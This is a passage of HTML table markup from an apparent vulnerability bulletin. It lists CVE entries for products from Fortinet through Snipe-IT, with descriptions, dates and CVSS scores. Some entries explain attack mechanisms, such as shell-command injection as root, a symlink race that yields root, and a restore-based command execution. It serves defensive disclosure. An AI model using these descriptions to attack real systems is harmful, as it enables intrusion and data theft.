&lt;td&gt;A improper validation of certificate with host mismatch vulnerability in Fortinet FortiOS 7.6.1 through 7.6.6, FortiProxy 7.6.2 through 7.6.6 may allow attacker to information disclosure via &amp;lt;insert attack vector here&amp;gt;&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-84393&quot; target=&quot;_blank&quot;&gt;CVE-2026-84393&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Fortinet--FortiSandbox PaaS&lt;/td&gt;
&lt;td&gt;A improper access control vulnerability in Fortinet FortiSandbox 5.0.0 through 5.0.5, FortiSandbox 4.4.0 through 4.4.8, FortiSandbox Cloud 5.0.4 through 5.0.5, FortiSandbox PaaS 5.0.4 through 5.0.5 may allow attacker to access sensitive information via crafted HTTP requests.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;8.9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-26084&quot; target=&quot;_blank&quot;&gt;CVE-2026-26084&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Fortra--GoAnywhere MFT&lt;/td&gt;
&lt;td&gt;In versions prior to 7.10.2 a path traversal vulnerability in the&amp;nbsp;/attachRemoteFiles endpoint&amp;nbsp;of Fortra&#039;s GoAnywhere MFT allows Web Users with both&amp;nbsp;Secure Folders and Secure Mail permissions&amp;nbsp;to escape their sandboxed home directory, achieving arbitrary file read.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;7.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-15913&quot; target=&quot;_blank&quot;&gt;CVE-2026-15913&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;freeciv--freeciv&lt;/td&gt;
&lt;td&gt;Freeciv versions before 3.2.6 contain a heap buffer overflow in worklist_load() when processing savegame files with declared worklist lengths exceeding the fixed array bound of 64 elements. Attackers can craft malicious savegame files that write past the entries array into adjacent heap-allocated struct fields, potentially corrupting memory when a user or server operator loads the file.&lt;/td&gt;
&lt;td&gt;2026-09-12&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90556&quot; target=&quot;_blank&quot;&gt;CVE-2026-90556&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Gato GraphQL--Gato GraphQL&lt;/td&gt;
&lt;td&gt;Subscriber Privilege Escalation in Gato GraphQL &amp;lt;= 19.2.3 versions.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-62102&quot; target=&quot;_blank&quot;&gt;CVE-2026-62102&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;GenieWords--GenieWords&lt;/td&gt;
&lt;td&gt;The GenieWords WordPress plugin from 1.5.27 to 1.5.34 does not have authorisation checks on some of its REST API and AJAX actions, and decodes stored values before printing them, allowing unauthenticated users to overwrite its configuration and inject arbitrary web scripts that execute on every front-end page.&lt;/td&gt;
&lt;td&gt;2026-09-13&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-74933&quot; target=&quot;_blank&quot;&gt;CVE-2026-74933&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;GeoVision Inc.--GV-LPC2011/LPC2211&lt;/td&gt;
&lt;td&gt;GeoVision GV-LPC2211 V1.13 exposes a network-accessible PTZ control service without authentication, allowing remote clients to retrieve PTZ information and issue PTZ or raw serial commands.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;9.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-88285&quot; target=&quot;_blank&quot;&gt;CVE-2026-88285&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;GeoVision Inc.--GV-LPC2011/LPC2211&lt;/td&gt;
&lt;td&gt;GeoVision GV-LPC2211 V1.13 allows a Guest user to overwrite device configuration and replace the administrator password through SSVR.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-88271&quot; target=&quot;_blank&quot;&gt;CVE-2026-88271&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;GeoVision Inc.--GV-LPC2011/LPC2211&lt;/td&gt;
&lt;td&gt;GeoVision GV-LPC2211 V1.13 allows an administrator-controlled username containing shell metacharacters to be executed as arbitrary root commands when the stored username is later deleted.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;7.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-88272&quot; target=&quot;_blank&quot;&gt;CVE-2026-88272&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;GeoVision Inc.--GV-LPC2011/LPC2211&lt;/td&gt;
&lt;td&gt;GeoVision GV-LPC2211 V1.13 allows an administrator-controlled PPPoE username to escape a sourced shell configuration assignment and execute arbitrary commands as root.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;7.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-88273&quot; target=&quot;_blank&quot;&gt;CVE-2026-88273&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;GeoVision Inc.--GV-LPC2011/LPC2211&lt;/td&gt;
&lt;td&gt;GeoVision GV-LPC2211 V1.13 allows an administrator-controlled wireless SSID containing shell syntax to execute arbitrary commands as root.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;7.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-88274&quot; target=&quot;_blank&quot;&gt;CVE-2026-88274&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;GeoVision Inc.--GV-LPC2011/LPC2211&lt;/td&gt;
&lt;td&gt;GeoVision GV-LPC2211 V1.13 allows an administrator-controlled WPA-PSK containing shell syntax to execute arbitrary commands as root when wireless configuration is applied.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;7.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-88275&quot; target=&quot;_blank&quot;&gt;CVE-2026-88275&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;GeoVision Inc.--GV-LPC2011/LPC2211&lt;/td&gt;
&lt;td&gt;GeoVision GV-LPC2211 V1.13 improperly manages PTZ connection state, allowing an unauthenticated remote client to block the accept loop and prevent new PTZ connections.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-88286&quot; target=&quot;_blank&quot;&gt;CVE-2026-88286&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;GeoVision Inc.--GV-LPC2011/LPC2211&lt;/td&gt;
&lt;td&gt;GeoVision GV-LPC2211 V1.13 fails to bound the number of Scopes tokens in unauthenticated ONVIF WS-Discovery Probe requests, allowing a remote attacker to corrupt stack control state and crash the discovery process.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-88287&quot; target=&quot;_blank&quot;&gt;CVE-2026-88287&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;GeoVision Inc.--GV-LPC2011/LPC2211&lt;/td&gt;
&lt;td&gt;GeoVision GV-LPC2211 V1.14 (260903) fails to validate attacker-controlled variable-length fields before copying them into fixed-size stack buffers in multiple VLSVR request handlers, allowing an unauthenticated remote attacker to crash the VLSVR service.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-88289&quot; target=&quot;_blank&quot;&gt;CVE-2026-88289&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;GeoVision Inc.--GV-LPC2011/LPC2211&lt;/td&gt;
&lt;td&gt;GeoVision GV-LPC2211 V1.14 (260903) allows unauthenticated clients to declare unbounded VLSVR frame lengths and indefinitely delay blocking receives, allowing remote exhaustion of memory, connection, and worker resources.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-88290&quot; target=&quot;_blank&quot;&gt;CVE-2026-88290&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;GeoVision Inc.--GV-LPCLPC2011/2211&lt;/td&gt;
&lt;td&gt;GeoVision GV-LPC2211 V1.13 fails to enforce WS-Security UsernameToken freshness or nonce reuse protection, allowing a captured PasswordDigest token to be replayed for subsequent ONVIF operations.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-88278&quot; target=&quot;_blank&quot;&gt;CVE-2026-88278&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;GeoVision Inc.--GV-LPCLPC2011/2211&lt;/td&gt;
&lt;td&gt;GeoVision GV-LPC2211 V1.13 allows an authenticated ONVIF user to inject shell commands through ConsumerReference.Address and execute arbitrary commands as root.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-88277&quot; target=&quot;_blank&quot;&gt;CVE-2026-88277&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;GeoVision Inc.--GV-LPCLPC2011/2211&lt;/td&gt;
&lt;td&gt;GeoVision GV-LPC2211 V1.13 allows administrator-controlled WEP key values containing shell syntax to execute arbitrary commands as root.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;7.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-88276&quot; target=&quot;_blank&quot;&gt;CVE-2026-88276&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;GeoVision Inc.--GV-LPCLPC2011/2211&lt;/td&gt;
&lt;td&gt;GeoVision GV-LPC2211 V1.13 allows an administrator-controlled FTP username containing shell metacharacters to be executed as arbitrary root commands during a subsequent FTP-account update.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;7.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-88282&quot; target=&quot;_blank&quot;&gt;CVE-2026-88282&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;GetSimpleCMS-CE--GetSimpleCMS-CE&lt;/td&gt;
&lt;td&gt;GetSimple CMS is a content management system (CMS), and GetSimple CMS CE is the community edition of that CMS. A logic flaw in GetSimple CMS (v3.4.0a and below) and GetSimpleCMS-CE (v3.3.22 and below) allows unauthenticated attackers to create a new administrator account. The application features an automated security control designed to delete the sensitive `admin/setup.php` file post-installation. However, this control is neutralized by a self-exclusion bug within the deletion logic, leaving the setup script accessible for unauthorized account creation even after a legitimate installation is completed. As of time of publication, no known patched versions are available.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-53952&quot; target=&quot;_blank&quot;&gt;CVE-2026-53952&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;getzep--graphiti&lt;/td&gt;
&lt;td&gt;A vulnerability was found in getzep graphiti up to 0.30.2. Affected is an unknown function of the file server/graph_service/main.py of the component REST API. The manipulation results in improper authentication. The attack can be launched remotely. The pull request to fix this issue awaits acceptance.&lt;/td&gt;
&lt;td&gt;2026-09-13&lt;/td&gt;
&lt;td width:&gt;7.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90601&quot; target=&quot;_blank&quot;&gt;CVE-2026-90601&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;gingerplugins--Sticky Chat Widget Floating Chat Icons, Contact Form, Call, Click to Chat, Email &amp;amp; Message Buttons&lt;/td&gt;
&lt;td&gt;The Sticky Chat Widget plugin for WordPress is vulnerable to SQL Injection via the &#039;scw_form_fields&#039; parameter array keys of the &#039;scw_save_form_data&#039; AJAX action in versions up to, and including, 1.4.2. This is due to the save_form_data() function passing attacker-controlled POST array keys unsanitized to $wpdb-&amp;gt;insert(), which wraps column identifiers in backticks without escaping them, allowing a backtick in an attacker-supplied key to break out of the column-identifier list into raw SQL; additionally, the use of filter_input() bypasses WordPress&#039;s wp_magic_quotes() protection, and the widget_id validation loop is skipped entirely when no valid widget_id is supplied, leaving $isValid at 1. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-15462&quot; target=&quot;_blank&quot;&gt;CVE-2026-15462&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;GIS Informatics--GisLab Laboratory Management System&lt;/td&gt;
&lt;td&gt;Improper neutralization of special elements used in an SQL command (&#039;SQL injection&#039;) vulnerability in GIS Informatics GisLab Laboratory Management System allows SQL Injection. This issue affects GisLab Laboratory Management System: from 1.4.03 before 1.5.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-9163&quot; target=&quot;_blank&quot;&gt;CVE-2026-9163&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;GIS Informatics--GisLab Laboratory Management System&lt;/td&gt;
&lt;td&gt;Improper Limitation of a Pathname to a Restricted Directory (&#039;Path Traversal&#039;) vulnerability in GIS Informatics GisLab Laboratory Management System allows Path Traversal. This issue affects GisLab Laboratory Management System: from 1.4.03 before 1.5.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-9166&quot; target=&quot;_blank&quot;&gt;CVE-2026-9166&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;GitLab--GitLab&lt;/td&gt;
&lt;td&gt;GitLab has remediated an issue in GitLab CE/EE affecting all versions from 18.7 before 19.1.8, 19.2 before 19.2.6, and 19.3 before 19.3.2 that, under certain conditions, an unauthenticated user could have read arbitrary files from the GitLab server due to improper path confinement and missing authentication enforcement in the repository commits API.&lt;/td&gt;
&lt;td&gt;2026-09-12&lt;/td&gt;
&lt;td width:&gt;10&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-85706&quot; target=&quot;_blank&quot;&gt;CVE-2026-85706&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;GitLab--GitLab&lt;/td&gt;
&lt;td&gt;GitLab has remediated an issue in GitLab EE affecting all versions from 18.3 before 19.1.8, 19.2 before 19.2.6, and 19.3 before 19.3.2 that under certain conditions could allow an authenticated user with Duo Chat access to obtain Advanced Search instance configurations and sensitive credentials using a specially crafted GraphQL subscription argument to bypass serialization and perform server object lookup.&lt;/td&gt;
&lt;td&gt;2026-09-12&lt;/td&gt;
&lt;td width:&gt;9.9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87719&quot; target=&quot;_blank&quot;&gt;CVE-2026-87719&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;gitpython-developers--GitPython&lt;/td&gt;
&lt;td&gt;GitPython before 3.1.60 fails to properly validate the git directory location, allowing attackers to impersonate the git directory using tracked files like gitdir, commondir, and HEAD. Attackers can execute arbitrary code by placing a malicious pre-commit hook in the tracked hooks directory that executes when a victim calls index.commit() on a cloned or opened repository.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87817&quot; target=&quot;_blank&quot;&gt;CVE-2026-87817&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;gitpython-developers--GitPython&lt;/td&gt;
&lt;td&gt;GitPython before 3.1.60 contains a regular expression denial of service vulnerability in Actor.name_email_regex that processes commit author and committer fields. Attackers can craft a commit object with a malformed author field containing an unterminated angle bracket to cause quadratic backtracking, exhausting CPU resources for over two minutes per commit access.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87819&quot; target=&quot;_blank&quot;&gt;CVE-2026-87819&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;GNOME--gvfs&lt;/td&gt;
&lt;td&gt;A flaw was found in the admin backend of gvfs. The privileged gvfsd-admin daemon changes the ownership of newly created private D-Bus sockets by calling the link-following chown() function on a pathname inside a user-controlled directory. A local attacker can exploit this via a Time-of-Check Time-of-Use (TOCTOU) race condition and exchange the socket pathname with a symbolic link pointing to an arbitrary root-owned file (such as /etc/pam.d/su). The daemon subsequently follows the symlink and changes the ownership of the targeted root-owned file to the attacker&#039;s user ID. This allows an authenticated local attacker to modify critical system files, leading to a full local privilege escalation to root.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-88924&quot; target=&quot;_blank&quot;&gt;CVE-2026-88924&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;gohugoio--hugo&lt;/td&gt;
&lt;td&gt;Hugo is a static site generator. From v0.161.0, Hugo executes Node tools under Node&#039;s permission model, but TailwindCSS - included in the default security.exec.allow list - requires a highly permissive configuration (--allow-addons, --allow-child-process, --allow-worker). As a result, the restrictions intended by the fix for GHSA-x597-9fr4-5857 could still be bypassed, allowing a Node tool invoked during a build to read and write files outside the project&#039;s working directory. Affected versions are those after v0.43; the issue was fixed in v0.165.0 by removing tailwindcss from the default security.exec.allow list. Users who do not use TailwindCSS, or who only build trusted sites, are not affected. As a workaround, users can define a restrictive security.exec.allow list in hugo.toml.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89259&quot; target=&quot;_blank&quot;&gt;CVE-2026-89259&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;GPAC--ManagedClusterAddOn&lt;/td&gt;
&lt;td&gt;A cross-namespace authorization flaw in multicluster-observability-addon allows a user with permission to modify a managed cluster&#039;s ManagedClusterAddOn configuration to reference ClusterLogForwarder or OpenTelemetryCollector resources outside the permitted namespace. If those resources reference Secrets, the add-on may copy the referenced Secrets to the attacker-controlled managed cluster.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;7.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89060&quot; target=&quot;_blank&quot;&gt;CVE-2026-89060&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Greg Winiarski--WPAdverts&lt;/td&gt;
&lt;td&gt;Unauthenticated Cross Site Scripting (XSS) in WPAdverts &amp;lt;= 2.3.3 versions.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;7.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-84819&quot; target=&quot;_blank&quot;&gt;CVE-2026-84819&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;grokability--snipe-it&lt;/td&gt;
&lt;td&gt;Snipe-IT versions before 8.7.0 contain a CSS injection vulnerability in the Custom CSS field due to incomplete sanitization that reverses HTML encoding on greater-than and double-quote characters. Superusers can plant malicious CSS payloads using @import and url() references to exfiltrate CSRF tokens from other superusers via attribute-selector rules, enabling account takeover.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;8.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86738&quot; target=&quot;_blank&quot;&gt;CVE-2026-86738&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;grokability--snipe-it&lt;/td&gt;
&lt;td&gt;Snipe-IT versions before 8.7.0 fail to sanitize the category EULA text field before rendering it in checkout confirmation emails. Attackers with low-privilege permissions can inject markdown image syntax or raw HTML img tags pointing to local files or remote URLs, which the mail auto-embed library resolves server-side and returns as email attachments, exfiltrating sensitive files like .env credentials and enabling SSRF attacks.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;8.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86741&quot; target=&quot;_blank&quot;&gt;CVE-2026-86741&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;grokability--snipe-it&lt;/td&gt;
&lt;td&gt;Snipe-IT before 8.7.0 fails to properly sanitize markdown image syntax in note fields, allowing authenticated users to read arbitrary server files and issue server-side HTTP requests. Attackers can submit markdown image syntax in checkout acceptance notes that survive HTML escaping, are expanded by CommonMark parser, and resolved by laravel-mail-auto-embed via file_get_contents or curl, exfiltrating sensitive files like .env containing APP_KEY.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;8.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86751&quot; target=&quot;_blank&quot;&gt;CVE-2026-86751&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;grokability--snipe-it&lt;/td&gt;
&lt;td&gt;Snipe-IT before 8.7.0 does not apply the CheckUserIsActivated middleware to the `api` middleware group in app/Http/Kernel.php, and deactivating a user does not revoke that user&#039;s Passport personal access tokens. As a result, although a deactivated account is correctly refused at web login, its existing API token continues to authenticate and to grant read and write access to the REST API (assets, users, licenses, etc.) at the account&#039;s prior permission level until the token expires. A deactivated account that retains user-management permissions can re-activate itself through the API, permanently defeating the deactivation control.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86762&quot; target=&quot;_blank&quot;&gt;CVE-2026-86762&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;grokability--snipe-it&lt;/td&gt;
&lt;td&gt;Snipe-IT before 8.7.0 fails to validate username case sensitivity during SAML authentication, allowing attackers to authenticate as different users by registering IdP accounts with accent or case variants of victim usernames. Attackers can exploit the default utf8mb4_unicode_ci database collation to bypass username matching and achieve account takeover through federated login paths including SAML, LDAP, and OAuth.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86770&quot; target=&quot;_blank&quot;&gt;CVE-2026-86770&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;grokability--snipe-it&lt;/td&gt;
&lt;td&gt;Snipe-IT before 8.7.0 streams the SQL entry from an uploaded backup archive directly into the MySQL/MariaDB command-line client (`mysql`) without the --binary-mode flag, so the client interprets lines beginning with backslash commands such as `\!` as local shell commands. An authenticated superadministrator who uploads a crafted ZIP backup (POST /admin/backups/upload) and triggers a restore (POST /admin/backups/restore/{filename}) without the optional `clean` sanitizer parameter - which is not applied by default because DB_SANITIZE_BY_DEFAULT is false - can execute arbitrary OS commands as the web application&#039;s operating-system user, exposing application secrets (including database credentials and APP_KEY) and allowing modification of application-writable files and data. Version 8.7.0 adds the --binary-mode flag to the client invocation.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86733&quot; target=&quot;_blank&quot;&gt;CVE-2026-86733&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;grokability--snipe-it&lt;/td&gt;
&lt;td&gt;Snipe-IT versions &amp;lt;= 8.6.3 (fixed in 8.7.0) do not validate company assignment authorization before persisting user records via the REST API. In Api\UsersController::store() and ::update(), the user record is filled from the request and saved before the requested company_id / company_ids[] values are filtered against the actor&#039;s permitted companies (Company::getIdsForCurrentUser()). On installs using Full Multiple Companies Support (FMCS), a non-superuser holding users.create (or users.edit on a target user) can submit company identifiers for companies outside their scope - including a mix of permitted and foreign ids - causing the account row to be committed to the database before authorization is checked. Where null_company_is_floater=1 is set, the post-hoc filter leaves an empty company pivot and the account is persisted as a &quot;floater&quot; with cross-company visibility, allowing creation or relocation of user accounts across tenant boundaries.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;7.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86750&quot; target=&quot;_blank&quot;&gt;CVE-2026-86750&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;grokability--snipe-it&lt;/td&gt;
&lt;td&gt;Snipe-IT before 8.7.0 fails to properly gate Laravel Passport&#039;s OAuth client management routes, allowing any authenticated user to register OAuth clients with attacker-controlled redirect URIs. Attackers can trick administrators into approving consent screens, then exchange authorization codes for bearer tokens inheriting full admin API permissions lasting up to 40 years.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;7.3&lt;/td&gt;
